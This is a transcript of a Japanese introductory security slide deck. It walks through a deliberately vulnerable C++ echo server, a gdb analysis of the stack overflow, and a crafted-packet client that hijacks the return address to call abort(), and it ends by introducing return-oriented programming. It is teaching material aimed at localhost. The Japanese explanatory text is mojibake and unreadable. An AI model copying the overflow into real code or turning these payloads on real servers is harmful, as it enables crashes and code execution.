Upgrade to Pro — share decks privately, control downloads, hide ads and more …

セキュリティ入門

Fadis
April 12, 2018

 セキュリティ入門

Fadis

April 12, 2018
Tweet

More Decks by Fadis

Other Decks in Programming

Transcript

  1. #include <memory> #include <boost/asio.hpp> #include <boost/bind.hpp> namespace asio = boost::asio;

    using boost::asio::ip::tcp; using sock_p = std::shared_ptr< tcp::socket >; using buf_p = std::shared_ptr< asio::streambuf >; using error_type = boost::system::error_code; struct session : public std::enable_shared_from_this< session > { session( asio::io_service &io ) : sock( io ) {} void read() { boost::asio::async_read_until( sock, buf, '\n', boost::bind( &session::check_on_read, shared_from_this(), asio::placeholders::bytes_transferred, asio::placeholders::error ) ); } void write( const char *data, size_t len ) { boost::asio::async_write( sock, boost::asio::buffer( data, len ), boost::bind( &session::check_on_write, shared_from_this(), asio::placeholders::error ) ); } tcp::socket &get_socket() { return sock; } private: void check_on_read( size_t len, const error_type& e ) { if( e && e != boost::asio::error::eof ) return; on_read( len ); } void on_read( size_t len ) { char received[ 32 ]; std::memcpy( received, asio::buffer_cast<const char*>( buf.data() ), len ); buf.consume( len ); https://wandbox.org/permlink/eucMJp4DkeLhnGlq όάͷ͋ΔΤίʔαʔό
  2. buf.consume( len ); received[ len ] = '\0'; write( received,

    len ); } void check_on_write( const error_type& e ) { if( e && e != boost::asio::error::eof ) return; on_write(); } void on_write() { read(); } tcp::socket sock; asio::streambuf buf; }; struct server { server( asio::io_service &io_ ) : io( io_ ), acc( io, tcp::endpoint( tcp::v4(), 20000 ) ) { accept(); } void accept() { std::shared_ptr< session > s( new session( io ) ); acc.async_accept( s->get_socket(), boost::bind( &server::on_accept, this, s, asio::placeholders::error ) ); } private: void on_accept( const std::shared_ptr< session > &s, const error_type& e ) { if( !e ) s->read(); accept(); } asio::io_service &io; boost::asio::ip::tcp::acceptor acc; }; int main() { asio::io_service io; server s( io ); io.run(); } https://wandbox.org/permlink/eucMJp4DkeLhnGlq όάͷ͋ΔΤίʔαʔό
  3. } void on_read( size_t len ) { char received[ 32

    ]; std::memcpy( received, asio::buffer_cast<const char*>( buf.data() ), len ); buf.consume( len ); received[ len ] = '\0'; write( received, len ); } void check_on_write( const error_type& e ) { if( e && e != boost::asio::error::eof ) return; on_write(); } void on_write() { read(); } tcp::socket sock; asio::streambuf buf; }; struct server { server( asio::io_service &io_ ) : io( io_ ), acc( io, tcp::endpoint( tcp::v4(), 20000 ) ) { accept(); } void accept() { std::shared_ptr< session > s( new session( io ) ); acc.async_accept( s->get_socket(), boost::bind( &server::on_accept, this, s, asio::placeholders::error ) ); } private: void on_accept( const std::shared_ptr< session > &s, const error_type& e ) { if( !e ) s->read(); accept(); } asio::io_service &io; boost::asio::ip::tcp::acceptor acc; }; int main() { asio::io_service io; https://wandbox.org/permlink/eucMJp4DkeLhnGlq ݻఆ௕ ௨৴Ͱड͚औͬͨσʔλ͕ ݻఆ௕ͷ഑ྻʹऩ·ΔαΠζͱ͸ݶΒͳ͍ ϦϞʔτ͔ΒόοϑΝΦʔόʔϥϯΛىͤ͜Δ όάͷ͋ΔΤίʔαʔό void on_read( size_t len ) { char received[ 32 ]; std::memcpy( received, asio::buffer_cast<const char*>( buf.data() ), len ); buf.consume( len ); received[ len ] = '\0'; write( received, len ); }
  4. $ ./tiny_server $ telnet localhost 20000 Trying ::1... Trying 127.0.0.1...

    Connected to localhost. Escape character is '^]'. Hello, World! Hello, World! ૹ৴ͨ͠σʔλ όΠτ ΫϥΠΞϯτ αʔό ड৴ͨ͠σʔλ όΠτ receivedͷαΠζʹऩ·͍ͬͯΔ৔߹ɺҙਤͨ͠ಈ͖Λ͍ͯ͠Δ
  5. $ telnet localhost 20000 Trying ::1... Trying 127.0.0.1... Connected to

    localhost. Escape character is '^]'. Hello, World! I would like to crash this server. Blah blah blah... Hello, World! I would like to crash this server. Blah blah blah... Connection closed by foreign host. ΫϥΠΞϯτ αʔό $ ./tiny_server Segmentation fault αʔό͕ࢮΜͩ
  6. $ gdb -q tiny_server Reading symbols from tiny_server...done. (gdb) disas

    session::on_read Dump of assembler code for function session::on_read(unsigned long): … 0x000000000040a6c3 <+69>: callq 0x403340 <memcpy@plt> 0x000000000040a6c8 <+74>: mov -0x38(%rbp),%rax … (gdb) b *0x40a6c3 Breakpoint 1 at 0x40a6c3: file tiny_server.cpp, line 38. (gdb) b *0x40a6c8 Breakpoint 2 at 0x40a6c8: file tiny_server.cpp, line 39. (gdb) run Starting program: /home/fadis/tiny_server [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". Breakpoint 1, 0x000000000040a6c3 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:38 38 std::memcpy( received, asio::buffer_cast<const char*>( buf.data() ), len ); (gdb) p &received $1 = (char (*)[32]) 0x7fffffffd2c0 (gdb) x/40wx 0x7fffffffd2c0 0x7fffffffd2c0: 0xffffd380 0x00007fff 0x0040fe53 0x00000000 0x7fffffffd2d0: 0x006331b0 0x00000000 0x00000044 0x00000000 σόοΨͰαʔό͕ࢮΜͩॠؒΛݟͯΈΑ͏ Ͳ͜ʹ໰୊͕͋Δ͔͸طʹΘ͔͍ͬͯΔͷͰ όοϑΝΦʔόʔϥϯΛҾ͖ى͜͢memcpyͷલޙͰ ϒϨʔΫϙΠϯτΛு͓ͬͯ͘
  7. Starting program: /home/fadis/tiny_server [Thread debugging using libthread_db enabled] Using host

    libthread_db library "/lib64/libthread_db.so.1". Breakpoint 1, 0x000000000040a6c3 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:38 38 std::memcpy( received, asio::buffer_cast<const char*>( buf.data() ), len ); (gdb) p &received $1 = (char (*)[32]) 0x7fffffffd2c0 (gdb) x/40wx 0x7fffffffd2c0 0x7fffffffd2c0: 0xffffd380 0x00007fff 0x0040fe53 0x00000000 0x7fffffffd2d0: 0x006331b0 0x00000000 0x00000044 0x00000000 0x7fffffffd2e0: 0x006331b0 0x00000000 0x00000044 0x00000000 0x7fffffffd2f0: 0xffffd340 0x00007fff 0x0040a674 0x00000000 0x7fffffffd300: 0x00000043 0x00000000 0xffffd5d0 0x00007fff 0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000 0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000 0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000 0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) c Continuing. Breakpoint 2, session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:39 39 buf.consume( len ); (gdb) x/40wx 0x7fffffffd2c0 0x7fffffffd2c0: 0x6c6c6548 0x57202c6f 0x646c726f 0x20492021 0x7fffffffd2d0: 0x6c756f77 0x696c2064 0x7420656b 0x7263206f 0x7fffffffd2e0: 0x20687361 0x73696874 0x72657320 0x2e726576 ΫϥΠΞϯτ͔Βಧ͍ͨϝοηʔδΛ receivedʹॻ͖ࠐΉ௚લͷ received͔Β256όΠτͷϝϞϦͷঢ়ଶ receivedͷͨΊʹ֬อ͞Ε͍ͯΔ32όΠτ
  8. 0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000 0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000

    0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) c Continuing. Breakpoint 2, session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:39 39 buf.consume( len ); (gdb) x/40wx 0x7fffffffd2c0 0x7fffffffd2c0: 0x6c6c6548 0x57202c6f 0x646c726f 0x20492021 0x7fffffffd2d0: 0x6c756f77 0x696c2064 0x7420656b 0x7263206f 0x7fffffffd2e0: 0x20687361 0x73696874 0x72657320 0x2e726576 0x7fffffffd2f0: 0x616c4220 0x6c622068 0x62206861 0x2e68616c 0x7fffffffd300: 0x0a0d2e2e 0x00000000 0xffffd5d0 0x00007fff 0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000 0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000 0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000 0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) i r rsp rbp rsp 0x7fffffffd2b0 0x7fffffffd2b0 rbp 0x7fffffffd2f0 0x7fffffffd2f0 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42 42 } ΫϥΠΞϯτ͔Βಧ͍ͨϝοηʔδΛ receivedʹॻ͖ࠐΜͩ௚ޙͷ received͔Β256όΠτͷϝϞϦͷঢ়ଶ receivedͷͨΊʹ֬อ͞Ε͍ͯΔ32όΠτ
  9. 0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000 0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000

    0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) c Continuing. Breakpoint 2, session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:39 39 buf.consume( len ); (gdb) x/40wx 0x7fffffffd2c0 0x7fffffffd2c0: 0x6c6c6548 0x57202c6f 0x646c726f 0x20492021 0x7fffffffd2d0: 0x6c756f77 0x696c2064 0x7420656b 0x7263206f 0x7fffffffd2e0: 0x20687361 0x73696874 0x72657320 0x2e726576 0x7fffffffd2f0: 0x616c4220 0x6c622068 0x62206861 0x2e68616c 0x7fffffffd300: 0x0a0d2e2e 0x00000000 0xffffd5d0 0x00007fff 0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000 0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000 0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000 0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) i r rsp rbp rsp 0x7fffffffd2b0 0x7fffffffd2b0 rbp 0x7fffffffd2f0 0x7fffffffd2f0 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42 42 } ͜ͷҐஔʹվߦจࣈ͕ݟ͑ΔͨΊ ഑ྻͷऴ୺Λ௒͑ͯ ͜͜·Ͱॻ͖ࠐΈ͕ߦΘΕͨ͜ͱ͕Θ͔Δ receivedͷͨΊʹ֬อ͞Ε͍ͯΔ32όΠτ
  10. (gdb) i r rsp rbp rsp 0x7fffffffd2b0 0x7fffffffd2b0 rbp 0x7fffffffd2f0

    0x7fffffffd2f0 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42 42 } (gdb) backtrace #0 0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42 #1 0x2e68616c62206861 in ?? () #2 0x000000000a0d2e2e in ?? () #3 0x00007fffffffd5d0 in ?? () #4 0x0000000000000044 in ?? () #5 0x0000000000632ef0 in ?? () #6 0x00007fffffffd340 in ?? () #7 0x0000000000412898 in boost::get_pointer<session> ( p=<error reading variable: Cannot access memory at address 0x6c622068616c4218>) at /usr/include/boost/get_pointer.hpp:69 Backtrace stopped: Cannot access memory at address 0x6c622068616c4228 (gdb) disas … => 0x000000000040a706 <+136>: retq End of assembler dump. (gdb) Կॲ ࣮ߦΛଓ͚Δͱon_read͔Βreturnͨ͠ॴͰࢮ͵ όοΫτϨʔεΛݟΔͱon_read͕ฦΖ͏ͱͨ͠ ݺͼग़͠ݩͷؔ਺ͷΞυϨε͕͓͔͍͠
  11. 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) c Continuing. Breakpoint 2,

    session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:39 39 buf.consume( len ); (gdb) x/40wx 0x7fffffffd2c0 0x7fffffffd2c0: 0x6c6c6548 0x57202c6f 0x646c726f 0x20492021 0x7fffffffd2d0: 0x6c756f77 0x696c2064 0x7420656b 0x7263206f 0x7fffffffd2e0: 0x20687361 0x73696874 0x72657320 0x2e726576 0x7fffffffd2f0: 0x616c4220 0x6c622068 0x62206861 0x2e68616c 0x7fffffffd300: 0x0a0d2e2e 0x00000000 0xffffd5d0 0x00007fff 0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000 0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000 0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000 0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) i r rsp rbp rsp 0x7fffffffd2b0 0x7fffffffd2b0 rbp 0x7fffffffd2f0 0x7fffffffd2f0 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42 42 } (gdb) backtrace #0 0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42 #1 0x2e68616c62206861 in ?? () #2 0x000000000a0d2e2e in ?? () ͜ͷΞυϨε͸ ͖ͬ͞ॻ͖ࠐΜͩϝοηʔδͷҰ෦ͩ
  12. $16ͷߏ଄ CPU rax rbx rcx rdx rsi rdi rbp rsp

    r8 r9 r10 r11 r12 r13 r14 r15 ࠓ೔ͷIntelϓϩηοαʹ͸ ܭࢉʹ࢖͏஋ΛೖΕ͓ͯ͘ശ(Ϩδελ)͕ 16ݸඋΘ͍ͬͯΔ 16ݸͰ͸଍Γͳ͘ͳͬͨΒ ࠓ͙͍͢Βͳ͍஋ΛϝϞϦʹҠͯ͠ϨδελΛۭ͚Δ
  13. ελοΫ CPU rax rbx rcx rdx rsi rdi rbp rsp

    r8 r9 r10 r11 r12 r13 r14 r15 Ϩδελ͔Βୀආͨ͠஋͕ੵ·Ε͍ͯ͘ ୀආͨ͠஋͕࠶ͼඞཁʹͳͬͨΒ ্͔ΒऔΓग़͍ͯ͘͠ rdi͔ΒҠͨ͠஋ rax͔ΒҠͨ͠஋ rbp͔ΒҠͨ͠஋ rdi͔ΒҠͨ͠஋ ͜ͷΑ͏ʹ࢖ΘΕΔϝϞϦྖҬΛ ελοΫͱݺͿ
  14. ελοΫ int f( int x, int y ) { int

    i; i = x * y; return i; } ͜ͷiͷΑ͏ͳϩʔΧϧม਺͸ ελοΫͷதʹஔ͔Ε͍ͯΔ ଞͷม਺౳ ଞͷม਺౳ ଞͷม਺౳ i ϩʔΧϧม਺͕࡞ΒΕΔͱελοΫʹ஋͕ੵ·Ε είʔϓΛൈ͚ΔͱελοΫͷ஋͕ഁغ͞ΕΔ
  15. int f( int i, int j ) { return i

    + j; } int g() { return f( 2, 3 ); } ؔ਺ݺͼग़͠Λߦ͏ͱcallq໋ྩ͕ੜ੒͞ΕΔ return͢Δͱretq໋ྩ͕ੜ੒͞ΕΔ 00000000004004b6 <f>: 4004b6: 55 push %rbp 4004b7: 48 89 e5 mov %rsp,%rbp 4004ba: 89 7d fc mov %edi,-0x4(%rbp) 4004bd: 89 75 f8 mov %esi,-0x8(%rbp) 4004c0: 8b 55 fc mov -0x4(%rbp),%edx 4004c3: 8b 45 f8 mov -0x8(%rbp),%eax 4004c6: 01 d0 add %edx,%eax 4004c8: 5d pop %rbp 4004c9: c3 retq 00000000004004ca <g>: 4004ca: 55 push %rbp 4004cb: 48 89 e5 mov %rsp,%rbp 4004ce: be 03 00 00 00 mov $0x3,%esi 4004d3: bf 02 00 00 00 mov $0x2,%edi 4004d8: e8 d9 ff ff ff callq 4004b6 <f> 4004dd: 5d pop %rbp 4004de: c3 retq callq͸ελοΫʹ callqͷ࣍ͷΞυϨεΛੵΜͰ Ҿ਺Ͱࢦఆ͞ΕͨΞυϨεʹඈͿ retq͸ελοΫͷઌ಄ʹੵ·Εͨ ΞυϨεʹඈΜͰ ελοΫͷઌ಄ͷ஋ΛࣺͯΔ ͜ͷ૊Έ߹ΘͤͰ ؔ਺Λൈ͚ͨΒݩͷ৔ॴʹ໭Δ ͕࣮ݱ͞Ε͍ͯΔ
  16. ؔ਺fͷม਺ ؔ਺fͷม਺ ؔ਺fͷม਺ ؔ਺g͕ऴΘͬͨΒ໭ΔҐஔ ؔ਺gͷม਺ ؔ਺gͷม਺ ؔ਺h͕ऴΘͬͨΒ໭ΔҐஔ ؔ਺hͷม਺ ؔ਺hͷม਺ ؔ਺hͷม਺

    ؔ਺f͕ؔ਺gΛݺΜͰ ͦͷதͰؔ਺h͕ݺ͹Ε͍ͯΔ࣌ͷελοΫ ࣮ߦதͷؔ਺ʹͱͬͯͷ ελοΫͷઌ಄ͱ຤ඌͷҐஔ͸$16ͷ %rspϨδελͱ%rbpϨδελʹ ه࿥͞Ε͍ͯΔ
  17. ؔ਺fͷม਺ ؔ਺fͷม਺ ؔ਺fͷม਺ ؔ਺g͕ऴΘͬͨΒ໭ΔҐஔ ؔ਺gͷม਺ ؔ਺gͷม਺ ؔ਺h͕ऴΘͬͨΒ໭ΔҐஔ ؔ਺hͷม਺ ؔ਺hͷม਺ ؔ਺hͷม਺

    ؔ਺͸callq͞ΕͨΒ·ͣ ݱࡏͷ%rbpΛελοΫʹੵΜͰ %rbpΛ%rspʹ͢Δ ͭ·Γݺͼग़͠ݩͷؔ਺ͷελοΫͷઌ಄Λ ͜Ε͔Β࣮ߦ͢Δؔ਺ͷελοΫͷ຤ඌʹ͢Δ ؔ਺fͷSCQ ؔ਺gͷSCQ ؔ਺͔Βretq͢Δ௚લʹ %rbpΛελοΫͷઌ಄ͷ஋ʹͯ͠ ελοΫͷઌ಄ͷ஋Λഁغ͢Δ
  18. 00000000004004b6 <f>: 4004b6: 55 push %rbp 4004b7: 48 89 e5

    mov %rsp,%rbp 4004ba: 89 7d fc mov %edi,-0x4(%rbp) 4004bd: 89 75 f8 mov %esi,-0x8(%rbp) 4004c0: 8b 55 fc mov -0x4(%rbp),%edx 4004c3: 8b 45 f8 mov -0x8(%rbp),%eax 4004c6: 01 d0 add %edx,%eax 4004c8: 5d pop %rbp 4004c9: c3 retq 00000000004004ca <g>: 4004ca: 55 push %rbp 4004cb: 48 89 e5 mov %rsp,%rbp 4004ce: be 03 00 00 00 mov $0x3,%esi 4004d3: bf 02 00 00 00 mov $0x2,%edi 4004d8: e8 d9 ff ff ff callq 4004b6 <f> 4004dd: 5d pop %rbp 4004de: c3 retq SCQΛελοΫʹੵΉ SCQΛSTQͷ஋ʹ͢Δ SCQΛελοΫͷ஋ʹ͢Δ ελοΫʹॻ͔ΕͨΞυϨεʹ໭Δ ͜ͷล͕ؔ਺ͷॲཧͷຊମ
  19. (gdb) run Starting program: /home/fadis/tiny_server [Thread debugging using libthread_db enabled]

    Using host libthread_db library "/lib64/libthread_db.so.1". Breakpoint 1, 0x000000000040a6c3 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:38 38 std::memcpy( received, asio::buffer_cast<const char*>( buf.data() ), len ); (gdb) p &received $1 = (char (*)[32]) 0x7fffffffd2c0 (gdb) x/40wx 0x7fffffffd2c0 0x7fffffffd2c0: 0xffffd380 0x00007fff 0x0040fe53 0x00000000 0x7fffffffd2d0: 0x006331b0 0x00000000 0x00000044 0x00000000 0x7fffffffd2e0: 0x006331b0 0x00000000 0x00000044 0x00000000 0x7fffffffd2f0: 0xffffd340 0x00007fff 0x0040a674 0x00000000 0x7fffffffd300: 0x00000043 0x00000000 0xffffd5d0 0x00007fff 0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000 0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000 0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000 0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) c Continuing. Breakpoint 2, session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:39 39 buf.consume( len ); (gdb) x/40wx 0x7fffffffd2c0 0x7fffffffd2c0: 0x6c6c6548 0x57202c6f 0x646c726f 0x20492021 0x7fffffffd2d0: 0x6c756f77 0x696c2064 0x7420656b 0x7263206f ͔͜͜Β্͕ on_readͷελοΫ (gdb) i r rsp rbp rsp 0x7fffffffd2b0 0x7fffffffd2b0 rbp 0x7fffffffd2f0 0x7fffffffd2f0 on_readʹுͬͨϒϨʔΫϙΠϯτͰͷ %rbpͱ%rspͷ஋ on_readΛݺͼग़ͨؔ͠਺ͷ%rbp on_read͕returnͨ͠ࡍʹඈͿઌͷΞυϨε όοϑΝΦʔόʔϥϯલ
  20. 0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000 0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000

    0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000 0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) c Continuing. Breakpoint 2, session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:39 39 buf.consume( len ); (gdb) x/40wx 0x7fffffffd2c0 0x7fffffffd2c0: 0x6c6c6548 0x57202c6f 0x646c726f 0x20492021 0x7fffffffd2d0: 0x6c756f77 0x696c2064 0x7420656b 0x7263206f 0x7fffffffd2e0: 0x20687361 0x73696874 0x72657320 0x2e726576 0x7fffffffd2f0: 0x616c4220 0x6c622068 0x62206861 0x2e68616c 0x7fffffffd300: 0x0a0d2e2e 0x00000000 0xffffd5d0 0x00007fff 0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000 0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000 0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000 0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) i r rsp rbp rsp 0x7fffffffd2b0 0x7fffffffd2b0 rbp 0x7fffffffd2f0 0x7fffffffd2f0 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42 ͔͜͜Β্͕ on_readͷελοΫ (gdb) i r rsp rbp rsp 0x7fffffffd2b0 0x7fffffffd2b0 rbp 0x7fffffffd2f0 0x7fffffffd2f0 on_readʹுͬͨϒϨʔΫϙΠϯτͰͷ %rbpͱ%rspͷ஋ on_readΛݺͼग़ͨؔ͠਺ͷ%rbp on_read͕returnͨ͠ࡍʹඈͿઌͷΞυϨε όοϑΝΦʔόʔϥϯޙ returnΞυϨε͕ॻ͖׵Θͬͯ͠·ͬͨ
  21. #1 0x2e68616c62206861 in ?? () #2 0x000000000a0d2e2e in ?? ()

    returnΞυϨε͕ॻ͖׵Θͬͨঢ়ଶͰretqͨ݁͠Ռ ΞυϨε͕ࢦ͢ઌͷϝϞϦʹΞΫηεͰ͖ͳ͔ͬͨҝ ൣғ֎ࢀরͰϓϩηε͕ఀࢭͨ͠ όοϑΝΦʔόʔϥϯʹΑͬͯ ഑ྻreceivedͷઌʹஔ͍ͯ͋ͬͨ returnΞυϨε͕ॻ͖׵͑ΒΕͯ͠·ͬͨ
  22. #include <iostream> #include <boost/asio.hpp> int main() { namespace asio =

    boost::asio; using boost::asio::ip::tcp; asio::io_service io_service; tcp::socket socket(io_service); socket.connect( tcp::endpoint( asio::ip::address::from_string("127.0.0.1"), 20000 ) ); std::vector< uint8_t > data { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x31, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x24, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00, 0x0d, 0x0a, }; boost::system::error_code error; asio::write(socket, asio::buffer(data), error); return 0; if( !error ) { asio::streambuf receive_buffer; asio::read_until(socket, receive_buffer, '\n', error); std::cout << asio::buffer_cast<const char*>(receive_buffer.data()) << std::endl; } } ࡉ޻ͨ͠σʔλΛૹΔΫϥΠΞϯτ
  23. #include <iostream> #include <boost/asio.hpp> int main() { namespace asio =

    boost::asio; using boost::asio::ip::tcp; asio::io_service io_service; tcp::socket socket(io_service); socket.connect( tcp::endpoint( asio::ip::address::from_string("127.0.0.1"), 20000 ) ); std::vector< uint8_t > data { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x31, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x24, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00, 0x0d, 0x0a, }; boost::system::error_code error; asio::write(socket, asio::buffer(data), error); return 0; if( !error ) { asio::streambuf receive_buffer; asio::read_until(socket, receive_buffer, '\n', error); std::cout << asio::buffer_cast<const char*>(receive_buffer.data()) << std::endl; } } (gdb) disas abort Dump of assembler code for function abort: 0x00007ffff6f624e0 <+0>: sub $0x128,%rsp 0x00007ffff6f624e7 <+7>: mov %fs:0x10,%rdx … Cݴޠඪ४ϥΠϒϥϦͷabortؔ਺ͷΞυϨε͕ ελοΫͷreturnΞυϨεͷҐஔʹདྷΔΑ͏ʹ αʔόʹૹΔσʔλΛ࡞Δ
  24. $ ./pktgen ΫϥΠΞϯτ αʔό $ gdb -q ./tiny_server Reading symbols

    from ./tiny_server...done. (gdb) run Starting program: /home/fadis/tiny_server [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/ libthread_db.so.1". Program received signal SIGABRT, Aborted. 0x00007ffff6f61228 in raise () from / lib64/libc.so.6 (gdb) backtrace #0 0x00007ffff6f61228 in raise () from / lib64/libc.so.6 #1 0x00007ffff6f6264a in abort () from / lib64/libc.so.6 #2 0x0000000000000a0d in ?? () #3 0x00007fffffffd5d0 in ?? () SIGSEGVͰ͸ͳ͘SIGABRTͰαʔό͕ఀࢭͨ͠
  25. Program received signal SIGABRT, Aborted. 0x00007ffff6f61228 in raise () from

    / lib64/libc.so.6 (gdb) backtrace #0 0x00007ffff6f61228 in raise () from / lib64/libc.so.6 #1 0x00007ffff6f6264a in abort () from / lib64/libc.so.6 #2 0x0000000000000a0d in ?? () #3 0x00007fffffffd5d0 in ?? () #4 0x0000000000000042 in ?? () #5 0x0000000000632ef0 in ?? () #6 0x00007fffffffd340 in ?? () #7 0x0000000000412898 in boost::get_pointer<session> ( p=<error reading variable: Cannot access memory at address 0xfffffffffffffff9>) at /usr/include/boost/get_pointer.hpp: 69 Backtrace stopped: previous frame inner to this frame (corrupt stack?) αʔόͷίʔυ্Ͱ͸ ݺΜͰ͍ͳ͍ abortؔ਺͕ ݺ͹Εͨ͜ͱʹͳ͍ͬͯΔ
  26. [1] System V Application Binary Interface AMD64 Architecture Processor Supplement

    §3.5.7 Variable Argument Lists x86_64 LinuxͰ͸ؔ਺ͷୈҰҾ਺͸ %rdiϨδελͰ౉͢͜ͱʹͳ͍ͬͯΔ[1] ࣮ߦ͍ͨ͠ίϚϯυΛϝϞϦʹॻ্͍ͨͰ Կͱ͔ͯͦ͠ͷΞυϨεΛ%rdiʹ৐ͤͯ retqͰؔ਺Λݺͼग़͢ඞཁ͕͋Δ rax rbp r8 r12 rbx rsp r9 r13 rcx rsi r10 r14 rdx rdi r11 r15
  27. (gdb) disas _ZNSi6ignoreEl … 0x00007ffff788dfc5 <+309>: pop %r14 0x00007ffff788dfc7 <+311>:

    retq 0x7ffff788dfc5 ඪ४ϥΠϒϥϦ౳͔Βpopͯ͠retq͍ͯ͠ΔॴΛ୳ͯ͘͠Δ %r14ʹஔ͖͍ͨ஋ ͦͷޙʹ࣮ߦ͍ͨ͠ΞυϨε ελοΫʹࠨͷΑ͏ʹॻ͍ͯretq͢Δͱ %r14ʹ೚ҙͷ஋Λஔ͘͜ͱ͕Ͱ͖Δ Return Oriented Programming ૢ࡞͍ͨ͠ϨδελΛpopͯ͠retq͍ͯ͠ΔॴΛݟ͚ͭΕ͹ ೚ҙͷҾ਺Λ͚ͭͯ೚ҙͷؔ਺Λݺͼग़͢͜ͱ͕Ͱ͖Δ
  28. #include <iostream> #include <boost/asio.hpp> int main() { namespace asio =

